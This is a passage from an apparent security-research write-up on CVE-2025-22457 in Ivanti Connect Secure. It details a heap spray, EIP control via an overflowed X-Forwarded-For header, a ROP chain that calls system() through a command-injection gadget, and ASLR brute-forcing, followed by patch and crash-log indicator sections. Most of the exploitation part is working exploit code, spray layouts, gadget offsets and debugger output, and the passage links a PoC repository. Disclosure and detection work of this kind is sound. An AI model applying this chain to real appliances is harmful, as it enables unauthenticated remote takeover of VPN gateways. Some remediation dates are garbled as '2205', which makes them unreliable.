Generating a heap spray requires the attacker to force large heap allocations to be made that are both long-lived (i.e., they must not be freed before the exploit completes) and contain attacker-controlled data. By repeating this, the attacker can consume huge amounts of heap memory, and by writing a repeatable pattern of bytes in these allocations, the attacker can guess an address. Due to the heap spray, the location of this address will be mapped and contain the pattern the attacker expects, thus defeating ASLR (for the purpose of a pointer to attacker-controlled data, not for a pointer to a shared object).
We identified the ability to force large long-lived heap allocations via the web server’s IF-T/TLS transport mechanism. Using this mechanism, we can spray around 2.3 GB of data into the target process. After the heap spray has completed, we end up with an attacker-controlled pattern addressable at a low address such as 0x39393939. This lets us overwrite the ctx variable and then control the contents of this data structure. Doing so will let us influence the control flow of the function WebRequest::dispatchRequest, and ultimately let us execute arbitrary code.
We can explore this further: By spraying the following pattern, we can see in GDB how we can construct a valid pointer to address the contents of the spray pattern.
spray_pattern = [
0xCAFEF00D, # 0x39393918:
0xCAFEF01D, # 0x3939391C:
0xCAFEF02D, # 0x39393920:
0xCAFEF03D, # 0x39393924:
0xCAFEF04D, # 0x39393928:
0xCAFEF05D, # 0x3939392C:
0xCAFEF06D, # 0x39393930:
0xCAFEF07D, # 0x39393934:
0xCAFEF08D, # 0x39393938:
0xCAFEF09D, # 0x3939393C:
0xCAFEF0AD, # 0x39393940:
0xCAFEF0BD, # 0x39393944:
0xCAFEF0CD, # 0x39393948:
0xCAFEF0DD, # 0x3939394C:
0xCAFEF0ED, # 0x39393950:
0xCAFEF0FD, # 0x39393954:
0xCAFEF10D, # 0x39393958:
0xCAFEF11D, # 0x3939395C:
0xCAFEF12D, # 0x39393960:
0xCAFEF13D, # 0x39393964:
0xCAFEF14D, # 0x39393968:
0xCAFEF15D, # 0x3939396C:
0xCAFEF16D, # 0x39393970:
0xCAFEF17D, # 0x39393974:
0xCAFEF18D, # 0x39393978:
0xCAFEF19D, # 0x3939397C:
0xCAFEF1AD, # 0x39393980:
0xCAFEF1BD, # 0x39393984:
0xCAFEF1CD, # 0x39393988:
0xCAFEF1DD, # 0x3939398C:
0xCAFEF1ED, # 0x39393990:
0xCAFEF1FD # 0x39393994:
].pack('V*')After our heap spray has completed, our pattern will always be addressable at 0x39393918. As we cannot write the byte 0x18 during our overflow due to the character restrictions, we will use the address 0x39393930 to address our pattern, referencing 24 (0x18) bytes into the pattern (0x39393918 + 0x18 == 0x39393930). We therefore trigger the overflow as before, but this time adjusting the overwritten ctx variable to be 0x39393930.
buffer = '1' * 622
buffer += [
0x31313131, # ebx
0x32323232, # esi
0x33333333, # edi
0x34343434, # ebp
0x35353535, # eip (but we dont get control here)
0x39393930 # [ebp+8] -> ctx -> heap spray
].pack('V*')
body = "GET / HTTP/1.1\r\n"
body << "X-Forwarded-For: #{buffer}\r\n"
body << "\r\n"
# transmit body as a HTTP(S) request...In GDB, we can inspect the memory at 0x39393930 and confirm it contains the expected data.
(gdb) x/32x 0x39393918
0x39393918: 0xcafef00d 0xcafef01d 0xcafef02d 0xcafef03d
0x39393928: 0xcafef04d 0xcafef05d 0xcafef06d 0xcafef07d
0x39393938: 0xcafef08d 0xcafef09d 0xcafef0ad 0xcafef0bd
0x39393948: 0xcafef0cd 0xcafef0dd 0xcafef0ed 0xcafef0fd
0x39393958: 0xcafef10d 0xcafef11d 0xcafef12d 0xcafef13d
0x39393968: 0xcafef14d 0xcafef15d 0xcafef16d 0xcafef17d
0x39393978: 0xcafef18d 0xcafef19d 0xcafef1ad 0xcafef1bd
0x39393988: 0xcafef1cd 0xcafef1dd 0xcafef1ed 0xcafef1fd
(gdb) x/32x 0x39393918+0x18
0x39393930: 0xcafef06d 0xcafef07d 0xcafef08d 0xcafef09d
0x39393940: 0xcafef0ad 0xcafef0bd 0xcafef0cd 0xcafef0dd
0x39393950: 0xcafef0ed 0xcafef0fd 0xcafef10d 0xcafef11dArbitrary EIP Control
We know we can overwrite the ctx variable pointer, and we can leverage a heap spray to point the ctx variable to a spray pattern we control. We also know this pattern can contain arbitrary bytes (i.e. bytes not subject to any character restrictions). However, to execute arbitrary code we will need to gain control of the instruction pointer (eip) using a value from our spray pattern.
Looking at the decompilation of WebRequest::dispatchRequest, we can see that all header values are processed inside a while loop, and a value ctx->max_headers is used to break out of the loop when all the header values are processed. The pseudo code of this is shown below at [4].
if ( ctx->max_headers > 0 )
{
header_index = 0;
while ( 1 )
{
curr_header_value = ctx->header_value_array[header_index];
// ...snip...
// process all the headers
// ...snip...
if ( ctx->max_headers <= ++header_index ) // <--- [4]
break;
}
}
// ...snip...
if ( ctx->cookie_str )
{
if ( !processCookieHeader(ctx, ctx->cookie_str) ) // <--- [5]
{
// ...snip...The ctx->max_headers member variable is at offset 0x64 in the ctx structure. If we spray a value of 0x00000000 at location 0x39393930+0x64 (0x39393994) then we can break out of the while loop after the overflow has occurred when processing the X-Forwarded-For header, and before any other headers are processed. If we do not break out of the loop early, it results in a segmentation fault that we cannot avoid.
Further down the function (we have omitted a large portion of irrelevant code from the above pseudo code), we can see a call to processCookieHeader occurs if ctx->cookie_str is not null. The cookie_str member variable is at offset 0xC0 and will be located in the adjacent spray pattern at 0x393939f0 and will not be null, so this check passes and processCookieHeader is called (at [5] above).
Looking at the pseudo code for processCookieHeader below, we can see that a virtual function call happens based on a series of three pointer dereferences originating from the ctx structure.
int __cdecl processCookieHeader(struct_ctx *ctx, char *cookie_str)
{
dword2C = ctx->dword2C; // <--- [6]
if ( dword2C )
(*(void (__cdecl **)(_DWORD))(*(_DWORD *)dword2C + 16))(ctx->dword2C); // <--- [7]First a pointer is read from offset 0x2C ([6] above). We can control this value via our spray pattern at 0x39393930 + 0x2c (0x3939395C). This pointer is then dereferenced and the resulting value adjusted by +16 (0x10) before itself being dereferenced. The dereferenced value is then used as a function pointer at the call site for [7] above. For clarity, a breakdown of these three dereferences are shown in the below pseudo code.
v1 = ctx->dword2C; // v1 == 0x3939392C
v2 = (*v1) + 16; // v2 == 0x39393928
v3 = *v2; // v3 == 0x41414141
v3(); // eip == 0x41414141Understanding the above, we can adjust our spray pattern as shown below. We set the ctx->max_headers member variable to be null, and set the ctx->dword2C member variable, which when dereferenced three times, as per [7] above, will give us arbitrary eip control.
spray_pattern = [
0xCAFEF00D, # 0x39393918:
0xCAFEF01D, # 0x3939391C:
0xCAFEF02D, # 0x39393920:
0xCAFEF03D, # 0x39393924:
0x41414141, # 0x39393928: *(*(_DWORD *)dword2C + 16) <--- EIP !!!
0x39393928 - 0x10, # 0x3939392C: *(_DWORD *)dword2C + 16
0xCAFEF06D, # 0x39393930:
0xCAFEF07D, # 0x39393934:
0xCAFEF08D, # 0x39393938:
0xCAFEF09D, # 0x3939393C:
0xCAFEF0AD, # 0x39393940:
0xCAFEF0BD, # 0x39393944:
0xCAFEF0CD, # 0x39393948:
0xCAFEF0DD, # 0x3939394C:
0xCAFEF0ED, # 0x39393950:
0xCAFEF0FD, # 0x39393954:
0xCAFEF10D, # 0x39393958:
0x3939392C, # 0x3939395C: ctx->dword2C
0xCAFEF12D, # 0x39393960:
0xCAFEF13D, # 0x39393964:
0xCAFEF14D, # 0x39393968:
0xCAFEF15D, # 0x3939396C:
0xCAFEF16D, # 0x39393970:
0xCAFEF17D, # 0x39393974:
0xCAFEF18D, # 0x39393978:
0xCAFEF19D, # 0x3939397C:
0xCAFEF1AD, # 0x39393980:
0xCAFEF1BD, # 0x39393984:
0xCAFEF1CD, # 0x39393988:
0xCAFEF1DD, # 0x3939398C:
0xCAFEF1ED, # 0x39393990:
0x00000000 # 0x39393994: ctx->max_headers == 0
].pack('V*')Spraying the above pattern and then triggering the overflow results in a segmentation fault in GDB as follows.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0x3939392c 960051500
ecx 0x10 16
edx 0x39393918 960051480
ebx 0x5671d000 1450299392
esp 0xff8b69dc 0xff8b69dc
ebp 0x39393930 0x39393930
esi 0x42424242 1111638594
edi 0xcafef14d -889261747
eip 0x41414141 0x41414141
eflags 0x210202 [ IF RF ID ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/32x 0x39393918
0x39393918: 0xcafef00d 0xcafef01d 0xcafef02d 0xcafef03d
0x39393928: 0x41414141 0x39393918 0xcafef06d 0xcafef07d
0x39393938: 0xcafef08d 0xcafef09d 0xcafef0ad 0xcafef0bd
0x39393948: 0xcafef0cd 0xcafef0dd 0xcafef0ed 0xcafef0fd
0x39393958: 0xcafef10d 0x3939392c 0xcafef12d 0xcafef13d
0x39393968: 0xcafef14d 0xcafef15d 0xcafef16d 0xcafef17d
0x39393978: 0xcafef18d 0xcafef19d 0xcafef1ad 0xcafef1bd
0x39393988: 0xcafef1cd 0xcafef1dd 0xcafef1ed 0x00000000
(gdb)We now have arbitrary eip control at the location 0x41414141, and this pointer value originated from our spray pattern. We are no longer subject to the character restrictions of the original stack-based buffer overflow and can proceed to leverage a ROP chain to achieve RCE.
We can note that the ebp register, as previously mentioned, will point into our spray pattern at 0x39393930. We will be able to leverage this for the purpose of a stack pivot gadget later.
We can also note that the edi register is 0xcafef14d which originates from our spray pattern. We will be able to leverage this during the ROP chain.
ROP to RCE
Now we have arbitrary eip control, we will build a ROP chain that will achieve RCE. We have a constraint here in that we do not know the base address of any shared object in the process’s address space. In lieu of a suitable info leak, we will aim to brute force this address. As previously mentioned, ASLR will employ 9 bits of entropy, so we expect to guess correctly in around 512 attempts or less. With this in mind we will build our ROP chain consisting of gadgets located in a common shared object. We choose the shared object binary /home/lib/libdsplibs.so to pick gadgets from as this is a large binary so should offer plenty of suitable gadgets. By choosing gadgets from a single shared object, we only need to guess one address correctly (the base address of libdsplibs), as all gadgets within this shared object will be offsets from this common base address, and these offsets can be known in advance.
Working backwards through the chain, we want to end up being able to execute an arbitrary OS command string in order to deliver a payload. We search for function gadgets that may let us call the system function. The function DSSys::isInterfaceEnabled, as shown below, will be suitable for our purpose.
// libdsplibs.so!__ZN5DSSys18isInterfaceEnabledEPKc
int __cdecl DSSys::isInterfaceEnabled(char *param)
{
int v1; // edi
char *s; // [esp+0h] [ebp-ACh]
char command[140]; // [esp+20h] [ebp-8Ch] BYREF
memset(command, 0, 0x80u);
sprintf(command, "/sbin/ifconfig %s > /dev/null 2>&1", param);
if ( system(command) ) {
// ...snip...If we can call DSSys::isInterfaceEnabled and pass a pointer to an attacker-controlled string as the first parameter, we can perform a command injection in this function and execute an arbitrary OS command. Given we are injecting our payload into the command string /sbin/ifconfig %s > /dev/null 2>&1, we will pass our payload as the string a; OUR_PAYLOAD_STRING # . This will satisfy the call to /sbin/ifconfig before executing our payload string, and finally commenting out the trailing > /dev/null 2>&1.
Searching for calls to the function DSSys::isInterfaceEnabled, we find this gadget.
.text:0087E31F mov [esp], edi ; param
.text:0087E322 call __ZN5DSSys18isInterfaceEnabledEPKc ; DSSys::isInterfaceEnabledThis will use the edi register as the first parameter to DSSys::isInterfaceEnabled. As we noted in the section above, we can control the edi register value as it originates from our spray pattern. We have seen previously that the edi register is set to 0xcafef14d, this is originating from location 0x39393968 in our spray pattern. To point edi to an arbitrary payload command string, we will set the value at 0x39393968 to point to the end of our spray pattern. We will extend our spray pattern from 128 bytes, to 256 bytes. This allows for an additional 128 contiguous bytes to be used for our payload command. If we do not extend the spray pattern, then we have to smuggle the payload command into the existing 128 byte spray pattern, which is unnecessarily awkward.
As the shared object is compiled with -fPIC, we will need to set the ebx register to the location of the objects .got.plt section (i.e,. the end of the binary’s Global Offset Table). This is required for the call to system to work correctly. The following gadget will pop a value we control (i.e., the address of the .got.plt section) into ebx.
LOAD:00033222 pop ebx
LOAD:00033223 retnFinally, to kickstart the whole chain, we will need a stack pivot gadget to point esp into our spray pattern. As we know the ebp register will point into our spray pattern, we can use the following stack pivot gadget.
.text:0050C7E6 mov esp, ebp
.text:0050C7E8 pop ebp
.text:0050C7E9 retnArmed with our three gadgets, we can modify the spray pattern to interleave the ROP chain into the ctx structures data, as shown below.
shell_cmd = "a;#{options[:payload]} # "
shell_cmd += "\x00"
shell_cmd += 'B' while shell_cmd.length < 128
spray_pattern = [
0xCAFEF00D, # 0x39393918:
0xCAFEF01D, # 0x3939391C:
0xCAFEF02D, # 0x39393920:
0xCAFEF03D, # 0x39393924:
libdsplibs_base + target[:gadget_mov_esp_ebp_pop_ret], # 0x39393928: *(*(_DWORD *)dword2C + 16) <--- EIP !!!
0x39393928 - 0x10, # 0x3939392C: *(_DWORD *)dword2C + 16
0xCAFEF06D, # 0x39393930:
libdsplibs_base + target[:gadget_pop_ebx_ret], # 0x39393934:
libdsplibs_base + target[:offset_to_got_plt], # 0x39393938:
libdsplibs_base + target[:gadget_call_system], # 0x3939393C:
0xCAFEF0AD, # 0x39393940:
0xCAFEF0BD, # 0x39393944:
0xCAFEF0CD, # 0x39393948:
0xCAFEF0DD, # 0x3939394C:
0xCAFEF0ED, # 0x39393950:
0xCAFEF0FD, # 0x39393954:
0xCAFEF10D, # 0x39393958:
0x3939392C, # 0x3939395C: ctx->dword2C
0xCAFEF12D, # 0x39393960:
0xCAFEF13D, # 0x39393964:
0x39393998, # 0x39393968: <--- ptr to shell_cmd, referenced @ edi
0xCAFEF15D, # 0x3939396C:
0xCAFEF16D, # 0x39393970:
0xCAFEF17D, # 0x39393974:
0xCAFEF18D, # 0x39393978:
0xCAFEF19D, # 0x3939397C:
0xCAFEF1AD, # 0x39393980:
0xCAFEF1BD, # 0x39393984:
0xCAFEF1CD, # 0x39393988:
0xCAFEF1DD, # 0x3939398C:
0xCAFEF1ED, # 0x39393990:
0x00000000 # 0x39393994: ctx->max_headers == 0
# 0x39393998: shell_cmd @ edi
].pack('V*') + shell_cmdSo long as we guess the base address of libdsplibs correctly, performing the heap spray and then triggering the stack-based buffer overflow will achieve unauthenticated RCE on the target.
Brute forcing ASLR
To brute force ASLR and guess the correct address of libdsplibs we have two potential strategies.
The first is to pick a static and potentially valid base address and repeatedly try this same address over and over. This will work if the /home/bin/web process does not fork for child connections. Every failed attempt will crash the /home/bin/web process, and the process will automatically be restarted. Every new instance of the /home/bin/web process will be subject to ASLR, and the base address of libdsplibs will change each time. Eventually the static address we have chosen will be correct.
The second strategy is to increment the base address upon each attempt, and effectively search over a range of 512 possible addresses. This strategy is better suited if the /home/bin/web process forks, as the forked child will have the same memory layout as the parent. We cannot rely on repeatedly trying a single static base address as we will need to search for the correct address.
In our test setup, the Ivanti Connect Secure virtual appliance did not fork the /home/bin/web process for child requests, so we developed our PoC using the first strategy.
Proof of Concept
The following PoC exploit script implements the exploitation strategy described in this analysis. The PoC has been tested against a vulnerable Ivanti Connect Secure version 22.7r2.4, running as a virtual appliance on a local hypervisor.
https://github.com/sfewer-r7/CVE-2025-22457
An example of the PoC running in our test setup can be seen below. In this example the base address of libdsplibs is being brute forced, and was successful on the 35th attempt.

Future Work
The exploit described in this analysis can be improved in the following ways.
- A network transport mechanism that supports compression should be used to perform the heap spray. This would avoid the need to transmit large quantities of uncompressed data over the network.
- An info leak primitive to leak an address within a shared library (ideally libdsplibs, but we can likely build a suitable ROP chain from any shared library) would avoid the need to brute force an address of a shared library when constructing the ROP chain.
Remediation
The following vendor-supplied patches will remediate CVE-2025-22457, per Ivanti’s advisory:
- Ivanti Connect Secure - 22.7R2.6 (Release on February 11, 2025)
- Pulse Connect Secure - This product has reached end-of-support (EoS), and Ivanti recommends customers migrate to the latest version of Ivanti Connect Secure.
- Ivanti Policy Secure - 22.7R1.4 (Scheduled for release on April 21, 2205)
- ZTA Gateways - 22.8R2.2 (Scheduled for release on April 19, 2205)
Notably, while the patch for Ivanti Connect Secure has been available since February 2025, Ivanti has not yet made patches available for Ivanti Policy Secure, or ZTA Gateways. These are due to receive a fix on April 21 and 19 respectively. Additionally, Pulse Connect Secure is no longer supported, so users must migrate to the latest version of Ivanti Connect Secure.
For more information on patching, please referer to the vendor advisory.
IOCs
To help identify a compromised appliance, the vendor advisory states the following:
Customers should monitor their external ICT and look for web server crashes
Based on our understanding of exploitation, examining an appliance for web server crashes is a useful indication of attempted exploitation. This is due to how the exploit, in lieu of a suitable info leak to break ASLR, must rely upon brute forcing an address of a shared object library in the web server process. Every failed attempt to guess the correct address will result in the web server process crashing, and subsequently restarting. We can see evidence of this as event SYS10306 in the event logs, as shown below. We can note the numerous events of the web server starting in quick succession (around 1 minute intervals in the example below, although this interval will vary depending on how efficiently the attacker is able to perform the heap spray).




